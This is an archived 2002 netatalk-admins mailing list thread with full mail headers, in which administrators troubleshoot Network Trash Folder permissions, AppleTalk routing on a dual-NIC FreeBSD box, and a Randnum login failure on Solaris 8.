	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA14964
	for <netatalk-admins@umich.edu>; Sun, 10 Feb 2002 18:26:48 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id AAA24784;
	Mon, 11 Feb 2002 00:53:16 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 11 Feb 2002 00:27:10 +0100
Subject: Re: Users unable to delete files
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: "Damien.MATTEI" <Damien.Mattei@unice.fr>
CC: <netatalk-admins@umich.edu>
Message-ID: <B88CC05D.1B7CB%Thomas.Kaiser@phg-online.de>
In-Reply-To: <200202102228.XAA435528@naxos.unice.fr>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Sun, 10 Feb 2002 23:28:56 MET (MET), Damien.MATTEI wrote:

> in fact the user of shared directory can't use the trash folder because group
> permission on trash folder are --S , so no read and write for the group

The last time you said, the permissions are "drwx--Srwx" (what's correct),
so _anyone_ is able to write into the folder regardless of the group
permissions or not.

> and only the owner of trash folder have rwx on trash folder,

Give it a try: 

- stop afpd
- delete your Network Trash Folder on unix
- start afpd
- look for a Network Trash Folder in the share's root (there won't be any)
- mount as user A from a mac
- unmount the volume
- look for the permissions and ownerships of the freshly created Network
  Trash Folder
- mount as user B
- throw something into trash (this will work)
- mount from a second mac as user A
- try to trash something as user A (won't work)

If things go like this, than it has nothing to do with permissions but with
missing byte range locking.

> it is set by default by netatalk

No, the Finder does this, the first time a volume is mounted, if there is
not already a Network Trash Folder present...

(Some vendors create the Network Trash Folder theirselves, eg. M$ let their
SFM do so to prevent confused clients if someone is deleting the Network
Trash Folder from a windows client. So there is no need for a mac client's
finder to create this folder it always exists)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Sun Feb 10 21:34:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA14375
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 10 Feb 2002 21:34:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA10200
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 10 Feb 2002 21:34:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA10186
	for netatalk.administrators-members@umich.edu; Sun, 10 Feb 2002 21:34:12 -0500 (EST)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA10162
	for <netatalk-admins@umich.edu>; Sun, 10 Feb 2002 21:34:11 -0500 (EST)
Received: from [68.14.83.188] (coxlaptop [68.14.83.188])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id VAA30379
	for <netatalk-admins@umich.edu>; Sun, 10 Feb 2002 21:38:23 -0500 (EST)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
Subject: Configuring on a dual nic freebsd box with natd
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Sun, 10 Feb 2002 21:34:03 -0500
Message-ID: <1f7err4.186l0wbth227zM@[68.14.83.188]>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 384 days)

I'd like some pointers on setting up afpd.conf and atalkd.conf so I can
use them on a freebsd 4.4 box with two 3com nics.

xl0 and xl1.

xl0 is the public nic and xl1 is the 192.168 nic.

With no atalkd.conf I don't see a name in the chooser but I can type in
the ip address and connect.

with xl1 in the chooser I can see the name.

with  just two lines in atalkd.conf:

xl0
xl1

I get errors.

What a good way to set this up so I can get to the sever from either
nic?

Also, how can I send the logging somewhere other than the console?

From netatalk.administrators-errors@umich.edu  Mon Feb 11 05:11:10 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA02477
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Feb 2002 05:11:10 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA07068
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Feb 2002 05:11:10 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA07062
	for netatalk.administrators-members@umich.edu; Mon, 11 Feb 2002 05:11:10 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA07028
	for <netatalk-admins@umich.edu>; Mon, 11 Feb 2002 05:11:03 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id LAA30704;
	Mon, 11 Feb 2002 11:24:10 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 11 Feb 2002 10:58:05 +0100
Subject: Re: Configuring on a dual nic freebsd box with natd
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lee Blevins <leeb@digitalgraphics.net>,
        Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B88D543C.1B84C%Thomas.Kaiser@phg-online.de>
In-Reply-To: <1f7err4.186l0wbth227zM@[68.14.83.188]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Sun, 10 Feb 2002 21:34:03 -0500, Lee Blevins wrote:

> With no atalkd.conf I don't see a name in the chooser but I can type in
> the ip address and connect.

This means, atalkd doesn't start at all, so the only way to connect to your
server will be via AFPoverTCP.

> with xl1 in the chooser I can see the name.

You have configured one NIC for AppleTalk, so on this segment all the
relevant protocols will be ready.

> with  just two lines in atalkd.conf:
> 
> xl0
> xl1
> 
> I get errors.

Correct. In this situation your netatalk box has to act like an AppleTalk
router. There is a good tutorial on

    <http://www.transit.hanse.de/netatalk/router.html>

But you can give this setup a try, as I would suppose there are no other
AppleTalk routers present in your LAN?

    x10 -phase 2 -seed -net 1-1000 -addr 1000.142 -zone "a"
    x11 -phase 2 -seed -net 1001-2000 -addr 2000.142 -zone "a"

As both segments publish the same zone name, you won't see zones afterwards
in chooser, but your netatalk box will route AppleTalk traffic between both
interfaces and will be available to both segments.

Note: Every single interface must be connected to a unique segment. They
must not be connected to the same switch or hub!

And another additional note: Some people reported, that some versions of
atalkd have a problem with publishing nbp entries (for service location) in
the above setup (zone mapping). If you can't see devices in one segment from
the other, you might want to change your setup to supply 'real' zone names
like eg. '-zone "x10 NIC"' and '-zone "x11 NIC"' or something more senseful.

Regards,

Thomas

BTW: We discussed this here back in november in depth. Mail me directly if I
     should bounce you the thread ("zones in netatalk")


From netatalk.administrators-errors@umich.edu  Mon Feb 11 07:23:34 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA08170
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Feb 2002 07:23:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA15184
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Feb 2002 07:23:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA15182
	for netatalk.administrators-members@umich.edu; Mon, 11 Feb 2002 07:23:33 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA15178
	for <netatalk-admins@umich.edu>; Mon, 11 Feb 2002 07:23:31 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id NAA138370
          ; Mon, 11 Feb 2002 13:23:27 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C67B7D8.441B6B55@unice.fr>
Date: Mon, 11 Feb 2002 13:23:52 +0100
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
CC: "Damien.MATTEI" <Damien.Mattei@unice.fr>, netatalk-admins@umich.edu
Subject: Re: Users unable to delete files
References: <B88CC05D.1B7CB%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thomas Kaiser wrote:
> 
> On Sun, 10 Feb 2002 23:28:56 MET (MET), Damien.MATTEI wrote:
> 
> > in fact the user of shared directory can't use the trash folder because group
> > permission on trash folder are --S , so no read and write for the group
> 
> The last time you said, the permissions are "drwx--Srwx" (what's correct),
> so _anyone_ is able to write into the folder regardless of the group
> permissions or not.
> 
> > and only the owner of trash folder have rwx on trash folder,
> 
> Give it a try:
> 
> - stop afpd
> - delete your Network Trash Folder on unix
> - start afpd
> - look for a Network Trash Folder in the share's root (there won't be any)
> - mount as user A from a mac
> - unmount the volume
> - look for the permissions and ownerships of the freshly created Network
>   Trash Folder
> - mount as user B
> - throw something into trash (this will work)
> - mount from a second mac as user A
> - try to trash something as user A (won't work)
> 
> If things go like this, than it has nothing to do with permissions but with
> missing byte range locking.
> 
> > it is set by default by netatalk
> 
> No, the Finder does this, the first time a volume is mounted, if there is
> not already a Network Trash Folder present...
> 
> (Some vendors create the Network Trash Folder theirselves, eg. M$ let their
> SFM do so to prevent confused clients if someone is deleting the Network
> Trash Folder from a windows client. So there is no need for a mac client's
> finder to create this folder it always exists)
> 
> Regards,
> 
> Thomas
thank you 

i suppose i did that , you have reason about the right ,others can
access so evrybody!

i have a new problem perheaps in relation to my server config.
one user put files in trash, *not* a network trash folder, and was
unable to delete them, finally i delete them with file buddy...

i hope that this new problem is different.

About the permission of the Trash Folder on the folder they
are:rwx--Srwx
so i think that every people is able to use trah folder, why netatalk
doesn't set rw permission on group i don't know , should i set them
manually?

if the problem is with missing byte range locking and that it is the
finder that do the work, so what can i do?
-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Mon Feb 11 09:12:39 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA13259
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Feb 2002 09:12:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA04784
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Feb 2002 09:12:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA04760
	for netatalk.administrators-members@umich.edu; Mon, 11 Feb 2002 09:12:38 -0500 (EST)
Received: from austin-jump.vircio.com (MailHost.virCIO.Com [192.12.3.107])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA04727
	for <netatalk-admins@umich.edu>; Mon, 11 Feb 2002 09:12:37 -0500 (EST)
Received: (qmail 1677 invoked by uid 104); 11 Feb 2002 14:12:32 -0000
Received: from cwg-dated-f10b221b711701fe@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.20/v4127. . Clean. Processed in 0.200567 secs); 11/02/2002 08:12:32
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-f10b221b711701fe@deepeddy.com>)
          by austin-jump.vircio.com (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 11 Feb 2002 14:12:31 -0000
Received: (qmail 10940 invoked by alias); 11 Feb 2002 14:12:30 -0000
From: "Chris Garrigues" <cwg-dated-f10b221b711701fe@deepeddy.com>
Received: (qmail 10901 invoked from network); 11 Feb 2002 14:12:29 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <Thomas.Kaiser@phg-online.de@fixme>; 11 Feb 2002 14:12:29 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Cc: "Damien.MATTEI" <Damien.Mattei@unice.fr>, netatalk-admins@umich.edu
Subject: Re: Users unable to delete files 
In-Reply-To: <B88CC05D.1B7CB%Thomas.Kaiser@phg-online.de> 
References: <B88CC05D.1B7CB%Thomas.Kaiser@phg-online.de>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_275181628P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Mon, 11 Feb 2002 08:12:29 -0600
Message-ID: <10898.1013436749@deepeddy.com>
Mail-Reply-To: cwg-dated-f10b221b711701fe@DeepEddy.Com

--==_Exmh_275181628P
Content-Type: text/plain; charset=us-ascii

> From:  Thomas Kaiser <Thomas.Kaiser@phg-online.de>
> Date:  Mon, 11 Feb 2002 00:27:10 +0100
>
> The last time you said, the permissions are "drwx--Srwx" (what's correct),
> so _anyone_ is able to write into the folder regardless of the group
> permissions or not.

*unless* they're in the group!

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
716 Congress, Suite 200
Austin, TX  78701		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_275181628P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE8Z9FNK9b4h5R0IUIRAgW+AJ4i+bve37FmBGcF2l6c4W8vTviLLACdESZN
bdnxodxtcFpD/s4V5gNz4zI=
=yEET
-----END PGP SIGNATURE-----

--==_Exmh_275181628P--

From netatalk.administrators-errors@umich.edu  Mon Feb 11 10:40:33 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA17146
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Feb 2002 10:40:33 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA27569
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Feb 2002 10:40:33 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA27558
	for netatalk.administrators-members@umich.edu; Mon, 11 Feb 2002 10:40:32 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA27515
	for <netatalk-admins@umich.edu>; Mon, 11 Feb 2002 10:40:30 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA00311;
	Mon, 11 Feb 2002 17:06:57 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 11 Feb 2002 16:40:52 +0100
Subject: Re: Users unable to delete files 
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Chris Garrigues <cwg-dated-f10b221b711701fe@deepeddy.com>
CC: "Damien.MATTEI" <Damien.Mattei@unice.fr>, <netatalk-admins@umich.edu>
Message-ID: <B88DA493.1B8CE%Thomas.Kaiser@phg-online.de>
In-Reply-To: <10898.1013436749@deepeddy.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 11 Feb 2002 08:12:29 -0600, Chris Garrigues wrote:

>> From:  Thomas Kaiser <Thomas.Kaiser@phg-online.de>
>> Date:  Mon, 11 Feb 2002 00:27:10 +0100
>> 
>> The last time you said, the permissions are "drwx--Srwx" (what's correct),
>> so _anyone_ is able to write into the folder regardless of the group
>> permissions or not.
> 
> *unless* they're in the group!

Okay, you're right, as we are speaking of netatalk. I've been confused
yesterday night, as I've been testing with an EtherShare installation too.

EtherShare translates between AFP permissions and UNIX permissions, Netatalk
doesn't.

In AFP terms, we have 'owner', 'group' and 'all', in UNIX terms we have
'owner', 'group' and 'others' (the last neither owner nor member of the
group)

In my opinion, problems arise, if the AFP server can't deal with the special
meaning of 'all' vs. 'others'. As a client's Finder creates the Network
Trash Folder read/write for owner and *all*, and Netatalk interprets this as
read/write for owner and *others*, this leads to wrong permissions on the
Network Trash Folder per default.

So one should change the access rights to rwxrwxrwx manually...

Thanks for the correction,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Feb 11 11:18:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA19077
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Feb 2002 11:18:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA04821
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Feb 2002 11:18:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA04799
	for netatalk.administrators-members@umich.edu; Mon, 11 Feb 2002 11:18:19 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA04769
	for <netatalk-admins@umich.edu>; Mon, 11 Feb 2002 11:18:17 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id RAA240882
          ; Mon, 11 Feb 2002 17:17:12 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C67EEA1.F8DA5385@unice.fr>
Date: Mon, 11 Feb 2002 17:17:37 +0100
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
CC: Chris Garrigues <cwg-dated-f10b221b711701fe@deepeddy.com>,
        "Damien.MATTEI" <Damien.Mattei@unice.fr>, netatalk-admins@umich.edu
Subject: Re: Users unable to delete files
References: <B88DA493.1B8CE%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thomas Kaiser wrote:
> 
> On Mon, 11 Feb 2002 08:12:29 -0600, Chris Garrigues wrote:
> 
> >> From:  Thomas Kaiser <Thomas.Kaiser@phg-online.de>
> >> Date:  Mon, 11 Feb 2002 00:27:10 +0100
> >>
> >> The last time you said, the permissions are "drwx--Srwx" (what's correct),
> >> so _anyone_ is able to write into the folder regardless of the group
> >> permissions or not.
> >
> > *unless* they're in the group!
> 
> Okay, you're right, as we are speaking of netatalk. I've been confused
> yesterday night, as I've been testing with an EtherShare installation too.
> 
> EtherShare translates between AFP permissions and UNIX permissions, Netatalk
> doesn't.
> 
> In AFP terms, we have 'owner', 'group' and 'all', in UNIX terms we have
> 'owner', 'group' and 'others' (the last neither owner nor member of the
> group)
> 
> In my opinion, problems arise, if the AFP server can't deal with the special
> meaning of 'all' vs. 'others'. As a client's Finder creates the Network
> Trash Folder read/write for owner and *all*, and Netatalk interprets this as
> read/write for owner and *others*, this leads to wrong permissions on the
> Network Trash Folder per default.
> 
> So one should change the access rights to rwxrwxrwx manually...
> 
> Thanks for the correction,
> 
> Thomas
me too i have been confused:
[dmattei@irisiag blast]$ ls -la index.html
-rw----r--    1 nobody   nobody      1282 jan  10 18:17 index.html
[dmattei@irisiag blast]$ grep nobody /etc/group
nobody:*:60001:dmattei
[dmattei@irisiag blast]$ more index.html
index.html: Permission denied
[dmattei@irisiag blast]$ uname -a
IRIX irisiag 6.5 05190003 IP22

this show that if you're in the group that have no right you can access
even if others can on IRIX and i think it's the same thing on linux
where my netatalk run.
But why netatalk set the permission by default to --S on the group ?
is it safe to change this setting?

my policy for creting a shared directory is that:

chmod g+rwx shared_directory/  

chmod -R g+rwX shared_directory/ except for trash folder that i reset to
default settings.

i find sometimes useful too to have rws on a group for shared
directories...


-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Mon Feb 11 11:43:04 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA20440
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Feb 2002 11:43:04 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA17869
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Feb 2002 11:43:04 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA17856
	for netatalk.administrators-members@umich.edu; Mon, 11 Feb 2002 11:43:04 -0500 (EST)
Received: from mail.LF.net (mail.LF.net [212.9.160.2])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA17809
	for <netatalk-admins@umich.edu>; Mon, 11 Feb 2002 11:43:02 -0500 (EST)
Received: by mail.LF.net (Smail3.2.0.111/isc.LF.net)
	via LF.net GmbH Internet Services
	via remoteip 212.9.189.46
	via remotehost pc-matthias.webhoch3.de with esmtp
	from matthias.waffenschmidt@webhoch3.de for netatalk-admins@umich.edu
	for roustabout.mr.itd.umich.edu
	id m16aJXg-00J6yDC; Mon, 11 Feb 2002 17:43:00 +0100 (CET)
Received: by pc-matthias.webhoch3.de (Postfix on SuSE Linux 7.3 (i386), from userid 502)
	id 1741898147; Mon, 11 Feb 2002 17:42:57 +0100 (CET)
Date: Mon, 11 Feb 2002 17:42:57 +0100
From: Matthias Waffenschmidt <matthias.waffenschmidt@webhoch3.de>
To: netatalk-admins@umich.edu
Subject: Randnum exchange problem on Solaris 8
Message-ID: <20020211174257.C15007@webhoch3.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.3.22.1i
Organization: =?iso-8859-1?Q?web=B3?= GmbH

Hello,

I have the following problem using netatalk-1.5.1.1 on Solaris 8
(configuration details are listed below)

When I enable uams_randnum.so, the users cannot log in anymore, using
only uams_clrtxt.so works fine. The login process seems to work (at
least no error message appear), but the connection is closed
immediately after the login data is verified, Here are the interesting
syslog lines:

Feb 11 16:17:41 fileserver afpd[28217]: [ID 847164 daemon.info] ASIP session:548(2) from 192.168.4.141:49153(0)
Feb 11 16:17:41 fileserver afpd[28217]: [ID 822111 daemon.info] randnum/rand2num login: xxx
Feb 11 16:17:41 fileserver afpd[28217]: [ID 711931 daemon.info] 0.08KB read, 0.07KB written
Feb 11 16:17:41 fileserver afpd[28215]: [ID 707133 daemon.info] server_child[1] 28217 done

Compared to a successful login using clear text, a line of the form

Feb 10 01:52:48 fileserver afpd[27952]: [ID 277401 daemon.info] login xxx (uid 1000, gid 102)

is missing. So the problem maybe is, that afpd could not map the user
to a valid uid/gid.

If I enter an invalid username/password combination, afpd complains as
expected:

Feb 11 16:18:08 fileserver afpd[28218]: [ID 847164 daemon.info] ASIP session:548(2) from 192.168.4.141:49154(0)
Feb 11 16:18:08 fileserver afpd[28218]: [ID 822111 daemon.info] randnum/rand2num login: xxx
Feb 11 16:18:08 fileserver afpd[28218]: [ID 445255 daemon.info] invalid password entry for xxx
Feb 11 16:18:08 fileserver afpd[28218]: [ID 711931 daemon.info] 0.07KB read, 0.07KB written
Feb 11 16:18:08 fileserver afpd[28215]: [ID 707133 daemon.info] server_child[1] 28218 done


The loading of the uams modules seems to work:

Feb 11 16:13:41 fileserver afpd[28215]: [ID 235179 daemon.info] fileserver:AFPServer@* started on 65280.64:128 (1.5.1.1)
Feb 11 16:13:41 fileserver afpd[28215]: [ID 950474 daemon.info] ASIP started on 192.168.4.251:548(2) (1.5.1.1)
Feb 11 16:13:41 fileserver afpd[28215]: [ID 142295 daemon.debug] uam: loading (/opt/netatalk/1.5.1.1/etc/netatalk/uams/uams_clrtxt.so)
Feb 11 16:13:41 fileserver afpd[28215]: [ID 398177 daemon.info] uam: uams_clrtxt.so loaded
Feb 11 16:13:41 fileserver afpd[28215]: [ID 142295 daemon.debug] uam: loading (/opt/netatalk/1.5.1.1/etc/netatalk/uams/uams_randnum.so)
Feb 11 16:13:41 fileserver afpd[28215]: [ID 398177 daemon.info] uam: uams_randnum.so loaded
Feb 11 16:13:41 fileserver afpd[28215]: [ID 679841 daemon.info] uam: "2-Way Randnum exchange" available
Feb 11 16:13:41 fileserver afpd[28215]: [ID 679841 daemon.info] uam: "Randnum exchange" available
Feb 11 16:13:41 fileserver afpd[28215]: [ID 679841 daemon.info] uam: "Cleartxt Passwrd" available


Am I missing something, that has to be set up before Randnum exchange
can be used? (the afppasswd file should be set up correctly)

Controlling the syslog file, I encountered 2 messages, that may be
related to the problem. The first one comes up at atalkd startup:

Feb 11 16:13:35 fileserver atalkd[28212]: [ID 430690 daemon.info] setsockopt incompatible w/ Solaris STREAMS module.

The second one appears regularly when atalkd is running:

Feb 11 10:37:31 fileserver ddp: [ID 724967 kern.notice] NOTICE: aarp_rput someone using our address


System Configuration
====================

Server:

- Solaris 8 (version 108528-12)
- netatalk-1.5.1.1
  compiled using gcc 3.0.2 with: ./configure --prefix=/opt/netatalk/1.5.1.1 --with-did=last --with-flock-locks --with-ssl-dir=/opt/openssl/0.9.6c --with-shadow
  kernel modules compiled with native Sun compiler (cc -V: Forte Developer 7 C 5.4 EA2 2001/12/11)
- afpd.conf:
  - -transall -uamlist uams_clrtxt.so,uams_randnum.so -nosavepassword -nocrlf -nouservol

Client:

- MacOS 9.0

Any help or hint is greatly appreciated,

Matthias
-- 
Matthias Waffenschmidt                web³ GmbH
Web Developer                         Seidenstr. 57
                                      70174 Stuttgart
matthias.waffenschmidt@webhoch3.de    http://www.webhoch3.de

From netatalk.administrators-errors@umich.edu  Mon Feb 11 11:49:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA20876
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Feb 2002 11:49:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA23656
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Feb 2002 11:49:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA23640
	for netatalk.administrators-members@umich.edu; Mon, 11 Feb 2002 11:49:44 -0500 (EST)
Received: from austin-jump.vircio.com (MailHost.virCIO.Com [192.12.3.107])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA23598
	for <netatalk-admins@umich.edu>; Mon, 11 Feb 2002 11:49:43 -0500 (EST)
Received: (qmail 12862 invoked by uid 104); 11 Feb 2002 16:49:43 -0000
Received: from cwg-dated-2218dd98f72c878c@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.20/v4127. . Clean. Processed in 0.103886 secs); 11/02/2002 10:49:43
